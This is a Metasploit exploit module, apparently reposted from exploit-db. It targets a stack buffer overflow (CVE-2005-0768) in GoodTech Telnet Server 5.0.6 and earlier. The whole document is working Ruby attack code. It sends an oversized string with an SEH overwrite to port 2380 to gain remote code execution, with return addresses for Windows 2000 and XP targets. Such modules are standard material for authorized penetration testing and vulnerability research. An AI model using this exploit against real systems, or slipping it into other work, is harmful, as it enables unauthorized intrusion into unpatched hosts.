GoodTech Telnet Server 5.0.6 – Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-05-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16817/
  • ##
    # $Id: goodtech_telnet.rb 9262 2010-05-09 17:45:00Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
    				versions prior to 5.0.7. By sending an overly long string, an attacker can
    				overwrite the buffer and control program execution.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => 'MC',
    			'Version'=> '$Revision: 9262 $',
    			'References' =>
    				[
    					[ 'CVE', '2005-0768' ],
    					[ 'OSVDB', '14806'],
    					[ 'BID', '12815' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Payload'=>
    				{
    					'Space'=> 400,
    					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
    					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    				],
    			'Privileged' => true,
    			'DisclosureDate' => 'Mar 15 2005',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				Opt::RPORT(2380)
    			], self.class)
    	end
    
    	def exploit
    		connect
    
    		sploit = rand_text_english(10020, payload_badchars)
    		seh= generate_seh_payload(target.ret)
    
    		sploit[10012, seh.length] = seh
    
    		print_status("Trying target #{target.name}...")
    
    		sock.put(sploit + "\r\n\r\n")
    
    		handler
    		disconnect
    	end
    
    end